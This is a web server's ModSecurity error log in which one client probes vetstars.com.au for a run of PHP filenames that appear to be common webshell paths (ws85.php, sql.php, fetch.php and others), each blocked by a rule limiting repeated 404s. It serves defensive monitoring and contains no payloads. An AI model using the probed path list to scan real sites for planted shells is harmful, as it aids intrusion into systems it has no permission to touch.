[Fri Mar 27 18:40:23.531021 2026] [:error] [pid 27851:tid 27868] [client 51.103.152.71:36997] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "acZel3R2ccxe3RMCLbrbzQAAAMo"]
[Fri Mar 27 18:40:24.770313 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:24424] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "acZemJLjeJUC3OKtEx9I7AAAAU0"]
[Fri Mar 27 18:40:26.373099 2026] [:error] [pid 63897:tid 63907] [client 51.103.152.71:3784] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acZemmVSkmYmLu7ycYg2WwAAAQg"]
[Fri Mar 27 18:40:28.826264 2026] [:error] [pid 27750:tid 27836] [client 51.103.152.71:24416] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acZenIaSil5rd17ieLzhGAAAAJI"]
[Fri Mar 27 18:40:29.598499 2026] [:error] [pid 27750:tid 27838] [client 51.103.152.71:12295] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acZenYaSil5rd17ieLzhHgAAAJQ"]
[Fri Mar 27 18:40:30.192529 2026] [:error] [pid 27743:tid 27787] [client 51.103.152.71:43045] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feokc.php"] [unique_id "acZeniA46UYYLqzw99C5rgAAABc"]
[Fri Mar 27 18:40:31.318885 2026] [:error] [pid 27750:tid 27821] [client 51.103.152.71:9651] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "acZen4aSil5rd17ieLzhIwAAAIM"]
[Fri Mar 27 18:40:33.038391 2026] [:error] [pid 27743:tid 27785] [client 51.103.152.71:25026] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "acZeoSA46UYYLqzw99C5tQAAABU"]
[Fri Mar 27 18:40:34.565210 2026] [:error] [pid 4341:tid 4354] [client 51.103.152.71:9623] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "acZeouKJWrNB5dMlERGCzgAAAYs"]
[Fri Mar 27 18:40:35.412662 2026] [:error] [pid 27851:tid 27865] [client 51.103.152.71:43085] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "acZeo3R2ccxe3RMCLbrb1wAAAMc"]
[Fri Mar 27 18:40:36.246429 2026] [:error] [pid 27851:tid 27876] [client 51.103.152.71:25048] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpmini.php"] [unique_id "acZepHR2ccxe3RMCLbrb2AAAANI"]
[Fri Mar 27 18:40:37.834880 2026] [:error] [pid 27743:tid 27769] [client 51.103.152.71:38861] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpmini.php"] [unique_id "acZepSA46UYYLqzw99C5wwAAAAU"]
[Fri Mar 27 18:41:35.262313 2026] [:error] [pid 4293:tid 4317] [client 51.103.152.71:28006] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acZe35LjeJUC3OKtEx9JhwAAAVY"]
[Fri Mar 27 18:41:37.998004 2026] [:error] [pid 27749:tid 27800] [client 51.103.152.71:27464] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acZe4cEqyoMni2Q6_X7kkgAAAEk"]
[Fri Mar 27 18:41:39.860889 2026] [:error] [pid 27743:tid 27767] [client 51.103.152.71:37749] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acZe4yA46UYYLqzw99C6iAAAAAM"]
[Fri Mar 27 18:41:40.827569 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:62010] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acZe5JLjeJUC3OKtEx9JiwAAAUc"]
[Fri Mar 27 18:41:42.171506 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:3113] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acZe5pLjeJUC3OKtEx9JjwAAAU0"]
[Fri Mar 27 18:41:44.432102 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:40152] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acZe6JLjeJUC3OKtEx9JmAAAAU0"]
[Fri Mar 27 18:41:45.130097 2026] [:error] [pid 27851:tid 27867] [client 51.103.152.71:15516] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acZe6XR2ccxe3RMCLbrcEAAAAMk"]
[Fri Mar 27 18:41:46.058324 2026] [:error] [pid 27750:tid 27842] [client 51.103.152.71:34487] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "acZe6oaSil5rd17ieLzhXgAAAJg"]
[Fri Mar 27 18:41:47.027898 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:15539] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acZe65LjeJUC3OKtEx9JowAAAUc"]
[Fri Mar 27 18:41:48.568753 2026] [:error] [pid 4293:tid 4295] [client 51.103.152.71:18273] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acZe7JLjeJUC3OKtEx9JpgAAAUA"]
[Fri Mar 27 18:41:49.478941 2026] [:error] [pid 27750:tid 27840] [client 51.103.152.71:34445] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acZe7YaSil5rd17ieLzhYgAAAJY"]
[Fri Mar 27 18:41:50.857032 2026] [:error] [pid 27851:tid 27870] [client 51.103.152.71:40175] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acZe7nR2ccxe3RMCLbrcEwAAAMw"]
[Fri Mar 27 18:41:51.873952 2026] [:error] [pid 63897:tid 63920] [client 51.103.152.71:27975] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acZe72VSkmYmLu7ycYg22AAAARU"]
[Fri Mar 27 18:41:59.363483 2026] [:error] [pid 27743:tid 27774] [client 51.103.152.71:27517] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acZe9yA46UYYLqzw99C6pAAAAAo"]
[Fri Mar 27 18:42:02.583858 2026] [:error] [pid 27749:tid 27802] [client 51.103.152.71:12110] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acZe-sEqyoMni2Q6_X7knwAAAEs"]
[Fri Mar 27 18:42:05.225494 2026] [:error] [pid 4341:tid 4346] [client 51.103.152.71:23971] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "acZe_eKJWrNB5dMlERGDiAAAAYM"]
[Fri Mar 27 18:42:07.418990 2026] [:error] [pid 4293:tid 4301] [client 51.103.152.71:8208] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acZe_5LjeJUC3OKtEx9J6wAAAUY"]
[Fri Mar 27 18:42:10.097060 2026] [:error] [pid 4293:tid 4299] [client 51.103.152.71:23947] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acZfApLjeJUC3OKtEx9J9wAAAUQ"]
[Fri Mar 27 18:42:11.068826 2026] [:error] [pid 4293:tid 4312] [client 51.103.152.71:19033] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acZfA5LjeJUC3OKtEx9J_QAAAVE"]
[Fri Mar 27 18:42:12.435665 2026] [:error] [pid 27851:tid 27858] [client 51.103.152.71:21281] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "acZfBHR2ccxe3RMCLbrcIQAAAMA"]
[Fri Mar 27 18:42:13.793530 2026] [:error] [pid 4293:tid 4314] [client 51.103.152.71:29877] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws79.php"] [unique_id "acZfBZLjeJUC3OKtEx9KCAAAAVM"]
[Fri Mar 27 18:42:14.600364 2026] [:error] [pid 4293:tid 4307] [client 51.103.152.71:44307] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws79.php"] [unique_id "acZfBpLjeJUC3OKtEx9KEgAAAUw"]
[Fri Mar 27 18:42:15.558819 2026] [:error] [pid 4293:tid 4305] [client 51.103.152.71:21280] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws79.php"] [unique_id "acZfB5LjeJUC3OKtEx9KFwAAAUo"]
[Fri Mar 27 18:42:16.731097 2026] [:error] [pid 4341:tid 4351] [client 51.103.152.71:33036] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws79.php"] [unique_id "acZfCOKJWrNB5dMlERGDkwAAAYg"]
[Fri Mar 27 18:42:18.627150 2026] [:error] [pid 4293:tid 4296] [client 51.103.152.71:44289] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acZfCpLjeJUC3OKtEx9KHwAAAUE"]
[Fri Mar 27 18:42:19.990198 2026] [:error] [pid 4293:tid 4312] [client 51.103.152.71:36440] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acZfC5LjeJUC3OKtEx9KJgAAAVE"]
[Fri Mar 27 18:42:23.104622 2026] [:error] [pid 4341:tid 4344] [client 51.103.152.71:34548] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acZfD-KJWrNB5dMlERGDnAAAAYE"]
[Fri Mar 27 18:42:24.547865 2026] [:error] [pid 27743:tid 27774] [client 51.103.152.71:3629] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acZfECA46UYYLqzw99C6wAAAAAo"]
[Fri Mar 27 18:42:25.573944 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:41417] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws50.php"] [unique_id "acZfEZLjeJUC3OKtEx9KOgAAAUc"]
[Fri Mar 27 18:42:26.516644 2026] [:error] [pid 4293:tid 4306] [client 51.103.152.71:35831] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws50.php"] [unique_id "acZfEpLjeJUC3OKtEx9KPQAAAUs"]
[Fri Mar 27 18:42:27.716204 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:4031] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws50.php"] [unique_id "acZfE5LjeJUC3OKtEx9KQQAAAUc"]
[Fri Mar 27 18:42:29.078307 2026] [:error] [pid 4293:tid 4299] [client 51.103.152.71:60711] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws50.php"] [unique_id "acZfFZLjeJUC3OKtEx9KSAAAAUQ"]
[Fri Mar 27 18:42:30.603451 2026] [:error] [pid 27749:tid 27799] [client 51.103.152.71:28504] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws44.php"] [unique_id "acZfFsEqyoMni2Q6_X7kpAAAAEg"]
[Fri Mar 27 18:43:21.336183 2026] [:error] [pid 27750:tid 27836] [client 51.103.152.71:10391] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acZfSYaSil5rd17ieLzhtgAAAJI"]
[Fri Mar 27 18:43:23.893581 2026] [:error] [pid 27750:tid 27826] [client 51.103.152.71:12728] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acZfS4aSil5rd17ieLzhuwAAAIg"]
[Fri Mar 27 18:43:25.392321 2026] [:error] [pid 27743:tid 27787] [client 51.103.152.71:11548] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acZfTSA46UYYLqzw99C7HgAAABc"]
[Fri Mar 27 18:43:28.037642 2026] [:error] [pid 27743:tid 27779] [client 51.103.152.71:40735] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acZfUCA46UYYLqzw99C7JQAAAA8"]
[Fri Mar 27 18:43:29.324100 2026] [:error] [pid 4293:tid 4307] [client 51.103.152.71:62040] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acZfUZLjeJUC3OKtEx9K0wAAAUw"]
[Fri Mar 27 18:43:31.382866 2026] [:error] [pid 63897:tid 63910] [client 51.103.152.71:11548] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acZfU2VSkmYmLu7ycYg3WwAAAQs"]
[Fri Mar 27 18:43:32.334869 2026] [:error] [pid 4293:tid 4318] [client 51.103.152.71:40736] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acZfVJLjeJUC3OKtEx9K5QAAAVc"]
[Fri Mar 27 18:43:33.792439 2026] [:error] [pid 4293:tid 4299] [client 51.103.152.71:18231] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acZfVZLjeJUC3OKtEx9K6QAAAUQ"]
[Fri Mar 27 18:43:36.650360 2026] [:error] [pid 63897:tid 63910] [client 51.103.152.71:3424] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acZfWGVSkmYmLu7ycYg3aQAAAQs"]
[Fri Mar 27 18:43:38.249707 2026] [:error] [pid 63897:tid 63907] [client 51.103.152.71:12674] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acZfWmVSkmYmLu7ycYg3bAAAAQg"]
[Fri Mar 27 18:43:39.423217 2026] [:error] [pid 27749:tid 27802] [client 51.103.152.71:8268] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acZfW8EqyoMni2Q6_X7kuQAAAEs"]
[Fri Mar 27 18:43:43.760390 2026] [:error] [pid 27851:tid 27862] [client 51.103.152.71:12039] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "acZfX3R2ccxe3RMCLbrchgAAAMQ"]
